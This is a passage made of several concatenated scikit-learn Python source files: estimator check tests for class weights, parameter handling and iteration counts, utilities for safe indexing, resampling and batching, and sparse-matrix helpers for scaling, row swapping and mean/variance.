    # TODO: find out why PLS and CCA fail. RANSAC is random
    # and furthermore assumes the presence of outliers, hence
    # skipped
    if name not in ('PLSCanonical', 'CCA', 'RANSACRegressor'):
        assert_greater(regressor.score(X, y_), 0.5)


@ignore_warnings
def check_regressors_no_decision_function(name, Regressor):
    # checks whether regressors have decision_function or predict_proba
    rng = np.random.RandomState(0)
    X = rng.normal(size=(10, 4))
    y = multioutput_estimator_convert_y_2d(name, X[:, 0])
    regressor = Regressor()

    set_testing_parameters(regressor)
    if hasattr(regressor, "n_components"):
        # FIXME CCA, PLS is not robust to rank 1 effects
        regressor.n_components = 1

    regressor.fit(X, y)
    funcs = ["decision_function", "predict_proba", "predict_log_proba"]
    for func_name in funcs:
        func = getattr(regressor, func_name, None)
        if func is None:
            # doesn't have function
            continue
        # has function. Should raise deprecation warning
        msg = func_name
        assert_warns_message(DeprecationWarning, msg, func, X)


def check_class_weight_classifiers(name, Classifier):
    if name == "NuSVC":
        # the sparse version has a parameter that doesn't do anything
        raise SkipTest
    if name.endswith("NB"):
        # NaiveBayes classifiers have a somewhat different interface.
        # FIXME SOON!
        raise SkipTest

    for n_centers in [2, 3]:
        # create a very noisy dataset
        X, y = make_blobs(centers=n_centers, random_state=0, cluster_std=20)
        X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.5,
                                                            random_state=0)
        n_centers = len(np.unique(y_train))

        if n_centers == 2:
            class_weight = {0: 1000, 1: 0.0001}
        else:
            class_weight = {0: 1000, 1: 0.0001, 2: 0.0001}

        with warnings.catch_warnings(record=True):
            classifier = Classifier(class_weight=class_weight)
        if hasattr(classifier, "n_iter"):
            classifier.set_params(n_iter=100)
        if hasattr(classifier, "min_weight_fraction_leaf"):
            classifier.set_params(min_weight_fraction_leaf=0.01)

        set_random_state(classifier)
        classifier.fit(X_train, y_train)
        y_pred = classifier.predict(X_test)
        assert_greater(np.mean(y_pred == 0), 0.89)


def check_class_weight_balanced_classifiers(name, Classifier, X_train, y_train,
                                            X_test, y_test, weights):
    with warnings.catch_warnings(record=True):
        classifier = Classifier()
    if hasattr(classifier, "n_iter"):
        classifier.set_params(n_iter=100)

    set_random_state(classifier)
    classifier.fit(X_train, y_train)
    y_pred = classifier.predict(X_test)

    classifier.set_params(class_weight='balanced')
    classifier.fit(X_train, y_train)
    y_pred_balanced = classifier.predict(X_test)
    assert_greater(f1_score(y_test, y_pred_balanced, average='weighted'),
                   f1_score(y_test, y_pred, average='weighted'))


def check_class_weight_balanced_linear_classifier(name, Classifier):
    """Test class weights with non-contiguous class labels."""
    X = np.array([[-1.0, -1.0], [-1.0, 0], [-.8, -1.0],
                  [1.0, 1.0], [1.0, 0.0]])
    y = np.array([1, 1, 1, -1, -1])

    with warnings.catch_warnings(record=True):
        classifier = Classifier()
    if hasattr(classifier, "n_iter"):
        # This is a very small dataset, default n_iter are likely to prevent
        # convergence
        classifier.set_params(n_iter=1000)
    set_random_state(classifier)

    # Let the model compute the class frequencies
    classifier.set_params(class_weight='balanced')
    coef_balanced = classifier.fit(X, y).coef_.copy()

    # Count each label occurrence to reweight manually
    n_samples = len(y)
    n_classes = float(len(np.unique(y)))

    class_weight = {1: n_samples / (np.sum(y == 1) * n_classes),
                    -1: n_samples / (np.sum(y == -1) * n_classes)}
    classifier.set_params(class_weight=class_weight)
    coef_manual = classifier.fit(X, y).coef_.copy()

    assert_array_almost_equal(coef_balanced, coef_manual)


def check_estimators_overwrite_params(name, Estimator):
    X, y = make_blobs(random_state=0, n_samples=9)
    y = multioutput_estimator_convert_y_2d(name, y)
    # some want non-negative input
    X -= X.min()
    with warnings.catch_warnings(record=True):
        # catch deprecation warnings
        estimator = Estimator()

    set_testing_parameters(estimator)
    set_random_state(estimator)

    # Make a physical copy of the original estimator parameters before fitting.
    params = estimator.get_params()
    original_params = deepcopy(params)

    # Fit the model
    estimator.fit(X, y)

    # Compare the state of the model parameters with the original parameters
    new_params = estimator.get_params()
    for param_name, original_value in original_params.items():
        new_value = new_params[param_name]

        # We should never change or mutate the internal state of input
        # parameters by default. To check this we use the joblib.hash function
        # that introspects recursively any subobjects to compute a checksum.
        # The only exception to this rule of immutable constructor parameters
        # is possible RandomState instance but in this check we explicitly
        # fixed the random_state params recursively to be integer seeds.
        assert_equal(hash(new_value), hash(original_value),
                     "Estimator %s should not change or mutate "
                     " the parameter %s from %s to %s during fit."
                     % (name, param_name, original_value, new_value))


def check_sparsify_coefficients(name, Estimator):
    X = np.array([[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1],
                  [-1, -2], [2, 2], [-2, -2]])
    y = [1, 1, 1, 2, 2, 2, 3, 3, 3]
    est = Estimator()

    est.fit(X, y)
    pred_orig = est.predict(X)

    # test sparsify with dense inputs
    est.sparsify()
    assert_true(sparse.issparse(est.coef_))
    pred = est.predict(X)
    assert_array_equal(pred, pred_orig)

    # pickle and unpickle with sparse coef_
    est = pickle.loads(pickle.dumps(est))
    assert_true(sparse.issparse(est.coef_))
    pred = est.predict(X)
    assert_array_equal(pred, pred_orig)


def check_classifier_data_not_an_array(name, Estimator):
    X = np.array([[3, 0], [0, 1], [0, 2], [1, 1], [1, 2], [2, 1]])
    y = [1, 1, 1, 2, 2, 2]
    y = multioutput_estimator_convert_y_2d(name, y)
    check_estimators_data_not_an_array(name, Estimator, X, y)


def check_regressor_data_not_an_array(name, Estimator):
    X, y = _boston_subset(n_samples=50)
    y = multioutput_estimator_convert_y_2d(name, y)
    check_estimators_data_not_an_array(name, Estimator, X, y)


def check_estimators_data_not_an_array(name, Estimator, X, y):

    if name in CROSS_DECOMPOSITION:
        raise SkipTest
    # catch deprecation warnings
    with warnings.catch_warnings(record=True):
        # separate estimators to control random seeds
        estimator_1 = Estimator()
        estimator_2 = Estimator()
    set_testing_parameters(estimator_1)
    set_testing_parameters(estimator_2)
    set_random_state(estimator_1)
    set_random_state(estimator_2)

    y_ = NotAnArray(np.asarray(y))
    X_ = NotAnArray(np.asarray(X))

    # fit
    estimator_1.fit(X_, y_)
    pred1 = estimator_1.predict(X_)
    estimator_2.fit(X, y)
    pred2 = estimator_2.predict(X)
    assert_array_almost_equal(pred1, pred2, 2, name)


def check_parameters_default_constructible(name, Estimator):
    classifier = LinearDiscriminantAnalysis()
    # test default-constructibility
    # get rid of deprecation warnings
    with warnings.catch_warnings(record=True):
        if name in META_ESTIMATORS:
            estimator = Estimator(classifier)
        else:
            estimator = Estimator()
        # test cloning
        clone(estimator)
        # test __repr__
        repr(estimator)
        # test that set_params returns self
        assert_true(estimator.set_params() is estimator)

        # test if init does nothing but set parameters
        # this is important for grid_search etc.
        # We get the default parameters from init and then
        # compare these against the actual values of the attributes.

        # this comes from getattr. Gets rid of deprecation decorator.
        init = getattr(estimator.__init__, 'deprecated_original',
                       estimator.__init__)

        try:
            def param_filter(p):
                """Identify hyper parameters of an estimator"""
                return (p.name != 'self'
                        and p.kind != p.VAR_KEYWORD
                        and p.kind != p.VAR_POSITIONAL)

            init_params = [p for p in signature(init).parameters.values()
                           if param_filter(p)]
        except (TypeError, ValueError):
            # init is not a python function.
            # true for mixins
            return
        params = estimator.get_params()
        if name in META_ESTIMATORS:
            # they can need a non-default argument
            init_params = init_params[1:]

        for init_param in init_params:
            assert_not_equal(init_param.default, init_param.empty,
                             "parameter %s for %s has no default value"
                             % (init_param.name, type(estimator).__name__))
            assert_in(type(init_param.default),
                      [str, int, float, bool, tuple, type(None),
                       np.float64, types.FunctionType, Memory])
            if init_param.name not in params.keys():
                # deprecated parameter, not in get_params
                assert_true(init_param.default is None)
                continue

            param_value = params[init_param.name]
            if isinstance(param_value, np.ndarray):
                assert_array_equal(param_value, init_param.default)
            else:
                assert_equal(param_value, init_param.default)


def multioutput_estimator_convert_y_2d(name, y):
    # Estimators in mono_output_task_error raise ValueError if y is of 1-D
    # Convert into a 2-D y for those estimators.
    if "MultiTask" in name:
        return np.reshape(y, (-1, 1))
    return y


def check_non_transformer_estimators_n_iter(name, estimator,
                                            multi_output=False):
    # Check if all iterative solvers, run for more than one iteration

    iris = load_iris()
    X, y_ = iris.data, iris.target

    if multi_output:
        y_ = np.reshape(y_, (-1, 1))

    set_random_state(estimator, 0)
    if name == 'AffinityPropagation':
        estimator.fit(X)
    else:
        estimator.fit(X, y_)

    # HuberRegressor depends on scipy.optimize.fmin_l_bfgs_b
    # which doesn't return a n_iter for old versions of SciPy.
    if not (name == 'HuberRegressor' and estimator.n_iter_ is None):
        assert_greater_equal(estimator.n_iter_, 1)


def check_transformer_n_iter(name, estimator):
    if name in CROSS_DECOMPOSITION:
        # Check using default data
        X = [[0., 0., 1.], [1., 0., 0.], [2., 2., 2.], [2., 5., 4.]]
        y_ = [[0.1, -0.2], [0.9, 1.1], [0.1, -0.5], [0.3, -0.2]]

    else:
        X, y_ = make_blobs(n_samples=30, centers=[[0, 0, 0], [1, 1, 1]],
                           random_state=0, n_features=2, cluster_std=0.1)
        X -= X.min() - 0.1
    set_random_state(estimator, 0)
    estimator.fit(X, y_)

    # These return a n_iter per component.
    if name in CROSS_DECOMPOSITION:
        for iter_ in estimator.n_iter_:
            assert_greater_equal(iter_, 1)
    else:
        assert_greater_equal(estimator.n_iter_, 1)


def check_get_params_invariance(name, estimator):
    class T(BaseEstimator):
        """Mock classifier
        """

        def __init__(self):
            pass

        def fit(self, X, y):
            return self

    if name in ('FeatureUnion', 'Pipeline'):
        e = estimator([('clf', T())])

    elif name in ('GridSearchCV', 'RandomizedSearchCV', 'SelectFromModel'):
        return

    else:
        e = estimator()

    shallow_params = e.get_params(deep=False)
    deep_params = e.get_params(deep=True)

    assert_true(all(item in deep_params.items() for item in
                    shallow_params.items()))


def check_classifiers_regression_target(name, Estimator):
    # Check if classifier throws an exception when fed regression targets

    boston = load_boston()
    X, y = boston.data, boston.target
    e = Estimator()
    msg = 'Unknown label type: '
    assert_raises_regex(ValueError, msg, e.fit, X, y)






"""
The :mod:`sklearn.utils` module includes various utilities.
"""
from collections import Sequence

import numpy as np
from scipy.sparse import issparse
import warnings

from .murmurhash import murmurhash3_32
from .validation import (as_float_array,
                         assert_all_finite,
                         check_random_state, column_or_1d, check_array,
                         check_consistent_length, check_X_y, indexable,
                         check_symmetric)
from .deprecation import deprecated
from .class_weight import compute_class_weight, compute_sample_weight
from ..externals.joblib import cpu_count
from ..exceptions import ConvergenceWarning as _ConvergenceWarning
from ..exceptions import DataConversionWarning


@deprecated("ConvergenceWarning has been moved into the sklearn.exceptions "
            "module. It will not be available here from version 0.19")
class ConvergenceWarning(_ConvergenceWarning):
    pass


__all__ = ["murmurhash3_32", "as_float_array",
           "assert_all_finite", "check_array",
           "check_random_state",
           "compute_class_weight", "compute_sample_weight",
           "column_or_1d", "safe_indexing",
           "check_consistent_length", "check_X_y", 'indexable',
           "check_symmetric", "indices_to_mask"]


def safe_mask(X, mask):
    """Return a mask which is safe to use on X.

    Parameters
    ----------
    X : {array-like, sparse matrix}
        Data on which to apply mask.

    mask: array
        Mask to be used on X.

    Returns
    -------
        mask
    """
    mask = np.asarray(mask)
    if np.issubdtype(mask.dtype, np.int):
        return mask

    if hasattr(X, "toarray"):
        ind = np.arange(mask.shape[0])
        mask = ind[mask]
    return mask


def axis0_safe_slice(X, mask, len_mask):
    """
    This mask is safer than safe_mask since it returns an
    empty array, when a sparse matrix is sliced with a boolean mask
    with all False, instead of raising an unhelpful error in older
    versions of SciPy.

    See: https://github.com/scipy/scipy/issues/5361

    Also note that we can avoid doing the dot product by checking if
    the len_mask is not zero in _huber_loss_and_gradient but this
    is not going to be the bottleneck, since the number of outliers
    and non_outliers are typically non-zero and it makes the code
    tougher to follow.
    """
    if len_mask != 0:
        return X[safe_mask(X, mask), :]
    return np.zeros(shape=(0, X.shape[1]))


def safe_indexing(X, indices):
    """Return items or rows from X using indices.

    Allows simple indexing of lists or arrays.

    Parameters
    ----------
    X : array-like, sparse-matrix, list.
        Data from which to sample rows or items.

    indices : array-like, list
        Indices according to which X will be subsampled.
    """
    if hasattr(X, "iloc"):
        # Pandas Dataframes and Series
        try:
            return X.iloc[indices]
        except ValueError:
            # Cython typed memoryviews internally used in pandas do not support
            # readonly buffers.
            warnings.warn("Copying input dataframe for slicing.",
                          DataConversionWarning)
            return X.copy().iloc[indices]
    elif hasattr(X, "shape"):
        if hasattr(X, 'take') and (hasattr(indices, 'dtype') and
                                   indices.dtype.kind == 'i'):
            # This is often substantially faster than X[indices]
            return X.take(indices, axis=0)
        else:
            return X[indices]
    else:
        return [X[idx] for idx in indices]


def resample(*arrays, **options):
    """Resample arrays or sparse matrices in a consistent way

    The default strategy implements one step of the bootstrapping
    procedure.

    Parameters
    ----------
    *arrays : sequence of indexable data-structures
        Indexable data-structures can be arrays, lists, dataframes or scipy
        sparse matrices with consistent first dimension.

    replace : boolean, True by default
        Implements resampling with replacement. If False, this will implement
        (sliced) random permutations.

    n_samples : int, None by default
        Number of samples to generate. If left to None this is
        automatically set to the first dimension of the arrays.
        If replace is False it should not be larger than the length of
        arrays.

    random_state : int or RandomState instance
        Control the shuffling for reproducible behavior.

    Returns
    -------
    resampled_arrays : sequence of indexable data-structures
        Sequence of resampled views of the collections. The original arrays are
        not impacted.

    Examples
    --------
    It is possible to mix sparse and dense arrays in the same run::

      >>> X = np.array([[1., 0.], [2., 1.], [0., 0.]])
      >>> y = np.array([0, 1, 2])

      >>> from scipy.sparse import coo_matrix
      >>> X_sparse = coo_matrix(X)

      >>> from sklearn.utils import resample
      >>> X, X_sparse, y = resample(X, X_sparse, y, random_state=0)
      >>> X
      array([[ 1.,  0.],
             [ 2.,  1.],
             [ 1.,  0.]])

      >>> X_sparse                   # doctest: +ELLIPSIS +NORMALIZE_WHITESPACE
      <3x2 sparse matrix of type '<... 'numpy.float64'>'
          with 4 stored elements in Compressed Sparse Row format>

      >>> X_sparse.toarray()
      array([[ 1.,  0.],
             [ 2.,  1.],
             [ 1.,  0.]])

      >>> y
      array([0, 1, 0])

      >>> resample(y, n_samples=2, random_state=0)
      array([0, 1])


    See also
    --------
    :func:`sklearn.utils.shuffle`
    """
    random_state = check_random_state(options.pop('random_state', None))
    replace = options.pop('replace', True)
    max_n_samples = options.pop('n_samples', None)
    if options:
        raise ValueError("Unexpected kw arguments: %r" % options.keys())

    if len(arrays) == 0:
        return None

    first = arrays[0]
    n_samples = first.shape[0] if hasattr(first, 'shape') else len(first)

    if max_n_samples is None:
        max_n_samples = n_samples
    elif (max_n_samples > n_samples) and (not replace):
        raise ValueError("Cannot sample %d out of arrays with dim %d"
                         "when replace is False" % (max_n_samples,
                                                    n_samples))

    check_consistent_length(*arrays)

    if replace:
        indices = random_state.randint(0, n_samples, size=(max_n_samples,))
    else:
        indices = np.arange(n_samples)
        random_state.shuffle(indices)
        indices = indices[:max_n_samples]

    # convert sparse matrices to CSR for row-based indexing
    arrays = [a.tocsr() if issparse(a) else a for a in arrays]
    resampled_arrays = [safe_indexing(a, indices) for a in arrays]
    if len(resampled_arrays) == 1:
        # syntactic sugar for the unit argument case
        return resampled_arrays[0]
    else:
        return resampled_arrays


def shuffle(*arrays, **options):
    """Shuffle arrays or sparse matrices in a consistent way

    This is a convenience alias to ``resample(*arrays, replace=False)`` to do
    random permutations of the collections.

    Parameters
    ----------
    *arrays : sequence of indexable data-structures
        Indexable data-structures can be arrays, lists, dataframes or scipy
        sparse matrices with consistent first dimension.

    random_state : int or RandomState instance
        Control the shuffling for reproducible behavior.

    n_samples : int, None by default
        Number of samples to generate. If left to None this is
        automatically set to the first dimension of the arrays.

    Returns
    -------
    shuffled_arrays : sequence of indexable data-structures
        Sequence of shuffled views of the collections. The original arrays are
        not impacted.

    Examples
    --------
    It is possible to mix sparse and dense arrays in the same run::

      >>> X = np.array([[1., 0.], [2., 1.], [0., 0.]])
      >>> y = np.array([0, 1, 2])

      >>> from scipy.sparse import coo_matrix
      >>> X_sparse = coo_matrix(X)

      >>> from sklearn.utils import shuffle
      >>> X, X_sparse, y = shuffle(X, X_sparse, y, random_state=0)
      >>> X
      array([[ 0.,  0.],
             [ 2.,  1.],
             [ 1.,  0.]])

      >>> X_sparse                   # doctest: +ELLIPSIS +NORMALIZE_WHITESPACE
      <3x2 sparse matrix of type '<... 'numpy.float64'>'
          with 3 stored elements in Compressed Sparse Row format>

      >>> X_sparse.toarray()
      array([[ 0.,  0.],
             [ 2.,  1.],
             [ 1.,  0.]])

      >>> y
      array([2, 1, 0])

      >>> shuffle(y, n_samples=2, random_state=0)
      array([0, 1])

    See also
    --------
    :func:`sklearn.utils.resample`
    """
    options['replace'] = False
    return resample(*arrays, **options)


def safe_sqr(X, copy=True):
    """Element wise squaring of array-likes and sparse matrices.

    Parameters
    ----------
    X : array like, matrix, sparse matrix

    copy : boolean, optional, default True
        Whether to create a copy of X and operate on it or to perform
        inplace computation (default behaviour).

    Returns
    -------
    X ** 2 : element wise square
    """
    X = check_array(X, accept_sparse=['csr', 'csc', 'coo'], ensure_2d=False)
    if issparse(X):
        if copy:
            X = X.copy()
        X.data **= 2
    else:
        if copy:
            X = X ** 2
        else:
            X **= 2
    return X


def gen_batches(n, batch_size):
    """Generator to create slices containing batch_size elements, from 0 to n.

    The last slice may contain less than batch_size elements, when batch_size
    does not divide n.

    Examples
    --------
    >>> from sklearn.utils import gen_batches
    >>> list(gen_batches(7, 3))
    [slice(0, 3, None), slice(3, 6, None), slice(6, 7, None)]
    >>> list(gen_batches(6, 3))
    [slice(0, 3, None), slice(3, 6, None)]
    >>> list(gen_batches(2, 3))
    [slice(0, 2, None)]
    """
    start = 0
    for _ in range(int(n // batch_size)):
        end = start + batch_size
        yield slice(start, end)
        start = end
    if start < n:
        yield slice(start, n)


def gen_even_slices(n, n_packs, n_samples=None):
    """Generator to create n_packs slices going up to n.

    Pass n_samples when the slices are to be used for sparse matrix indexing;
    slicing off-the-end raises an exception, while it works for NumPy arrays.

    Examples
    --------
    >>> from sklearn.utils import gen_even_slices
    >>> list(gen_even_slices(10, 1))
    [slice(0, 10, None)]
    >>> list(gen_even_slices(10, 10))                     #doctest: +ELLIPSIS
    [slice(0, 1, None), slice(1, 2, None), ..., slice(9, 10, None)]
    >>> list(gen_even_slices(10, 5))                      #doctest: +ELLIPSIS
    [slice(0, 2, None), slice(2, 4, None), ..., slice(8, 10, None)]
    >>> list(gen_even_slices(10, 3))
    [slice(0, 4, None), slice(4, 7, None), slice(7, 10, None)]
    """
    start = 0
    if n_packs < 1:
        raise ValueError("gen_even_slices got n_packs=%s, must be >=1"
                         % n_packs)
    for pack_num in range(n_packs):
        this_n = n // n_packs
        if pack_num < n % n_packs:
            this_n += 1
        if this_n > 0:
            end = start + this_n
            if n_samples is not None:
                end = min(n_samples, end)
            yield slice(start, end, None)
            start = end


def _get_n_jobs(n_jobs):
    """Get number of jobs for the computation.

    This function reimplements the logic of joblib to determine the actual
    number of jobs depending on the cpu count. If -1 all CPUs are used.
    If 1 is given, no parallel computing code is used at all, which is useful
    for debugging. For n_jobs below -1, (n_cpus + 1 + n_jobs) are used.
    Thus for n_jobs = -2, all CPUs but one are used.

    Parameters
    ----------
    n_jobs : int
        Number of jobs stated in joblib convention.

    Returns
    -------
    n_jobs : int
        The actual number of jobs as positive integer.

    Examples
    --------
    >>> from sklearn.utils import _get_n_jobs
    >>> _get_n_jobs(4)
    4
    >>> jobs = _get_n_jobs(-2)
    >>> assert jobs == max(cpu_count() - 1, 1)
    >>> _get_n_jobs(0)
    Traceback (most recent call last):
    ...
    ValueError: Parameter n_jobs == 0 has no meaning.
    """
    if n_jobs < 0:
        return max(cpu_count() + 1 + n_jobs, 1)
    elif n_jobs == 0:
        raise ValueError('Parameter n_jobs == 0 has no meaning.')
    else:
        return n_jobs


def tosequence(x):
    """Cast iterable x to a Sequence, avoiding a copy if possible."""
    if isinstance(x, np.ndarray):
        return np.asarray(x)
    elif isinstance(x, Sequence):
        return x
    else:
        return list(x)


def indices_to_mask(indices, mask_length):
    """Convert list of indices to boolean mask.

    Parameters
    ----------
    indices : list-like
        List of integers treated as indices.
    mask_length : int
        Length of boolean mask to be generated.

    Returns
    -------
    mask : 1d boolean nd-array
        Boolean array that is True where indices are present, else False.
    """
    if mask_length <= np.max(indices):
        raise ValueError("mask_length must be greater than max(indices)")

    mask = np.zeros(mask_length, dtype=np.bool)
    mask[indices] = True

    return mask






"""
Helper functions for benchmarking
"""


def total_seconds(delta):
    """
    helper function to emulate function total_seconds,
    introduced in python2.7

    http://docs.python.org/library/datetime.html\
#datetime.timedelta.total_seconds
    """

    mu_sec = 1e-6  # number of seconds in one microseconds

    return delta.seconds + delta.microseconds * mu_sec






# Authors: Manoj Kumar
#          Thomas Unterthiner
#          Giorgio Patrini
#
# License: BSD 3 clause
import scipy.sparse as sp
import numpy as np

from .fixes import sparse_min_max, bincount
from .sparsefuncs_fast import (
    csr_mean_variance_axis0 as _csr_mean_var_axis0,
    csc_mean_variance_axis0 as _csc_mean_var_axis0,
    incr_mean_variance_axis0 as _incr_mean_var_axis0)


def _raise_typeerror(X):
    """Raises a TypeError if X is not a CSR or CSC matrix"""
    input_type = X.format if sp.issparse(X) else type(X)
    err = "Expected a CSR or CSC sparse matrix, got %s." % input_type
    raise TypeError(err)


def _raise_error_wrong_axis(axis):
    if axis not in (0, 1):
        raise ValueError(
            "Unknown axis value: %d. Use 0 for rows, or 1 for columns" % axis)


def inplace_csr_column_scale(X, scale):
    """Inplace column scaling of a CSR matrix.

    Scale each feature of the data matrix by multiplying with specific scale
    provided by the caller assuming a (n_samples, n_features) shape.

    Parameters
    ----------
    X : CSR matrix with shape (n_samples, n_features)
        Matrix to normalize using the variance of the features.

    scale : float array with shape (n_features,)
        Array of precomputed feature-wise values to use for scaling.
    """
    assert scale.shape[0] == X.shape[1]
    X.data *= scale.take(X.indices, mode='clip')


def inplace_csr_row_scale(X, scale):
    """ Inplace row scaling of a CSR matrix.

    Scale each sample of the data matrix by multiplying with specific scale
    provided by the caller assuming a (n_samples, n_features) shape.

    Parameters
    ----------
    X : CSR sparse matrix, shape (n_samples, n_features)
        Matrix to be scaled.

    scale : float array with shape (n_samples,)
        Array of precomputed sample-wise values to use for scaling.
    """
    assert scale.shape[0] == X.shape[0]
    X.data *= np.repeat(scale, np.diff(X.indptr))


def mean_variance_axis(X, axis):
    """Compute mean and variance along an axix on a CSR or CSC matrix

    Parameters
    ----------
    X: CSR or CSC sparse matrix, shape (n_samples, n_features)
        Input data.

    axis: int (either 0 or 1)
        Axis along which the axis should be computed.

    Returns
    -------

    means: float array with shape (n_features,)
        Feature-wise means

    variances: float array with shape (n_features,)
        Feature-wise variances

    """
    _raise_error_wrong_axis(axis)

    if isinstance(X, sp.csr_matrix):
        if axis == 0:
            return _csr_mean_var_axis0(X)
        else:
            return _csc_mean_var_axis0(X.T)
    elif isinstance(X, sp.csc_matrix):
        if axis == 0:
            return _csc_mean_var_axis0(X)
        else:
            return _csr_mean_var_axis0(X.T)
    else:
        _raise_typeerror(X)


def incr_mean_variance_axis(X, axis, last_mean, last_var, last_n):
    """Compute incremental mean and variance along an axix on a CSR or
    CSC matrix.

    last_mean, last_var are the statistics computed at the last step by this
    function. Both must be initilized to 0-arrays of the proper size, i.e.
    the number of features in X. last_n is the number of samples encountered
    until now.

    Parameters
    ----------
    X: CSR or CSC sparse matrix, shape (n_samples, n_features)
        Input data.

    axis: int (either 0 or 1)
        Axis along which the axis should be computed.

    last_mean: float array with shape (n_features,)
        Array of feature-wise means to update with the new data X.

    last_var: float array with shape (n_features,)
        Array of feature-wise var to update with the new data X.

    last_n: int
        Number of samples seen so far, excluded X.

    Returns
    -------

    means: float array with shape (n_features,)
        Updated feature-wise means.

    variances: float array with shape (n_features,)
        Updated feature-wise variances.

    n: int
        Updated number of seen samples.

    """
    _raise_error_wrong_axis(axis)

    if isinstance(X, sp.csr_matrix):
        if axis == 0:
            return _incr_mean_var_axis0(X, last_mean=last_mean,
                                        last_var=last_var, last_n=last_n)
        else:
            return _incr_mean_var_axis0(X.T, last_mean=last_mean,
                                        last_var=last_var, last_n=last_n)
    elif isinstance(X, sp.csc_matrix):
        if axis == 0:
            return _incr_mean_var_axis0(X, last_mean=last_mean,
                                        last_var=last_var, last_n=last_n)
        else:
            return _incr_mean_var_axis0(X.T, last_mean=last_mean,
                                        last_var=last_var, last_n=last_n)
    else:
        _raise_typeerror(X)


def inplace_column_scale(X, scale):
    """Inplace column scaling of a CSC/CSR matrix.

    Scale each feature of the data matrix by multiplying with specific scale
    provided by the caller assuming a (n_samples, n_features) shape.

    Parameters
    ----------
    X: CSC or CSR matrix with shape (n_samples, n_features)
        Matrix to normalize using the variance of the features.

    scale: float array with shape (n_features,)
        Array of precomputed feature-wise values to use for scaling.
    """
    if isinstance(X, sp.csc_matrix):
        inplace_csr_row_scale(X.T, scale)
    elif isinstance(X, sp.csr_matrix):
        inplace_csr_column_scale(X, scale)
    else:
        _raise_typeerror(X)


def inplace_row_scale(X, scale):
    """ Inplace row scaling of a CSR or CSC matrix.

    Scale each row of the data matrix by multiplying with specific scale
    provided by the caller assuming a (n_samples, n_features) shape.

    Parameters
    ----------
    X : CSR or CSC sparse matrix, shape (n_samples, n_features)
        Matrix to be scaled.

    scale : float array with shape (n_features,)
        Array of precomputed sample-wise values to use for scaling.
    """
    if isinstance(X, sp.csc_matrix):
        inplace_csr_column_scale(X.T, scale)
    elif isinstance(X, sp.csr_matrix):
        inplace_csr_row_scale(X, scale)
    else:
        _raise_typeerror(X)


def inplace_swap_row_csc(X, m, n):
    """
    Swaps two rows of a CSC matrix in-place.

    Parameters
    ----------
    X: scipy.sparse.csc_matrix, shape=(n_samples, n_features)
        Matrix whose two rows are to be swapped.

    m: int
        Index of the row of X to be swapped.

    n: int
        Index of the row of X to be swapped.
    """
    for t in [m, n]:
        if isinstance(t, np.ndarray):
            raise TypeError("m and n should be valid integers")

    if m < 0:
        m += X.shape[0]
    if n < 0:
        n += X.shape[0]

    m_mask = X.indices == m
    X.indices[X.indices == n] = m
    X.indices[m_mask] = n


def inplace_swap_row_csr(X, m, n):
    """
    Swaps two rows of a CSR matrix in-place.

    Parameters
    ----------
    X: scipy.sparse.csr_matrix, shape=(n_samples, n_features)
        Matrix whose two rows are to be swapped.

    m: int
        Index of the row of X to be swapped.

    n: int
        Index of the row of X to be swapped.
    """
    for t in [m, n]:
        if isinstance(t, np.ndarray):
            raise TypeError("m and n should be valid integers")

    if m < 0:
        m += X.shape[0]
    if n < 0:
        n += X.shape[0]

    # The following swapping makes life easier since m is assumed to be the
    # smaller integer below.
    if m > n:
        m, n = n, m

    indptr = X.indptr
    m_start = indptr[m]
    m_stop = indptr[m + 1]
    n_start = indptr[n]
    n_stop = indptr[n + 1]
    nz_m = m_stop - m_start
    nz_n = n_stop - n_start

    if nz_m != nz_n:
        # Modify indptr first
        X.indptr[m + 2:n] += nz_n - nz_m
        X.indptr[m + 1] = m_start + nz_n
        X.indptr[n] = n_stop - nz_m

    X.indices = np.concatenate([X.indices[:m_start],
                                X.indices[n_start:n_stop],
                                X.indices[m_stop:n_start],
                                X.indices[m_start:m_stop],
                                X.indices[n_stop:]])
    X.data = np.concatenate([X.data[:m_start],
                             X.data[n_start:n_stop],
                             X.data[m_stop:n_start],
                             X.data[m_start:m_stop],
                             X.data[n_stop:]])


def inplace_swap_row(X, m, n):
    """
    Swaps two rows of a CSC/CSR matrix in-place.

    Parameters
    ----------
    X : CSR or CSC sparse matrix, shape=(n_samples, n_features)
        Matrix whose two rows are to be swapped.

    m: int
        Index of the row of X to be swapped.

    n: int
        Index of the row of X to be swapped.
    """
    if isinstance(X, sp.csc_matrix):
        return inplace_swap_row_csc(X, m, n)
    elif isinstance(X, sp.csr_matrix):
        return inplace_swap_row_csr(X, m, n)
    else:
        _raise_typeerror(X)


def inplace_swap_column(X, m, n):
    """
    Swaps two columns of a CSC/CSR matrix in-place.

    Parameters
    ----------
    X : CSR or CSC sparse matrix, shape=(n_samples, n_features)
        Matrix whose two columns are to be swapped.

    m: int
        Index of the column of X to be swapped.

    n : int
        Index of the column of X to be swapped.
    """
    if m < 0:
        m += X.shape[1]
    if n < 0:
        n += X.shape[1]
    if isinstance(X, sp.csc_matrix):
        return inplace_swap_row_csr(X, m, n)
    elif isinstance(X, sp.csr_matrix):
        return inplace_swap_row_csc(X, m, n)
    else:
        _raise_typeerror(X)


def min_max_axis(X, axis):
    """Compute minimum and maximum along an axis on a CSR or CSC matrix

    Parameters
    ----------
    X : CSR or CSC sparse matrix, shape (n_samples, n_features)
        Input data.

    axis: int (either 0 or 1)
        Axis along which the axis should be computed.

    Returns
    -------

    mins: float array with shape (n_features,)
        Feature-wise minima

    maxs: float array with shape (n_features,)
        Feature-wise maxima
    """
    if isinstance(X, sp.csr_matrix) or isinstance(X, sp.csc_matrix):
        return sparse_min_max(X, axis=axis)
    else:
        _raise_typeerror(X)


def count_nonzero(X, axis=None, sample_weight=None):
    """A variant of X.getnnz() with extension to weighting on axis 0

    Useful in efficiently calculating multilabel metrics.

    Parameters
    ----------
    X : CSR sparse matrix, shape = (n_samples, n_labels)
        Input data.

    axis : None, 0 or 1
        The axis on which the data is aggregated.

    sample_weight : array, shape = (n_samples,), optional
        Weight for each row of X.
    """
    if axis == -1:
        axis = 1
    elif axis == -2:
        axis = 0
    elif X.format != 'csr':
        raise TypeError('Expected CSR sparse format, got {0}'.format(X.format))

    # We rely here on the fact that np.diff(Y.indptr) for a CSR
    # will return the number of nonzero entries in each row.
    # A bincount over Y.indices will return the number of nonzeros
    # in each column. See ``csr_matrix.getnnz`` in scipy >= 0.14.
    if axis is None:
        if sample_weight is None:
            return X.nnz
        else:
            return np.dot(np.diff(X.indptr), sample_weight)
    elif axis == 1:
        out = np.diff(X.indptr)
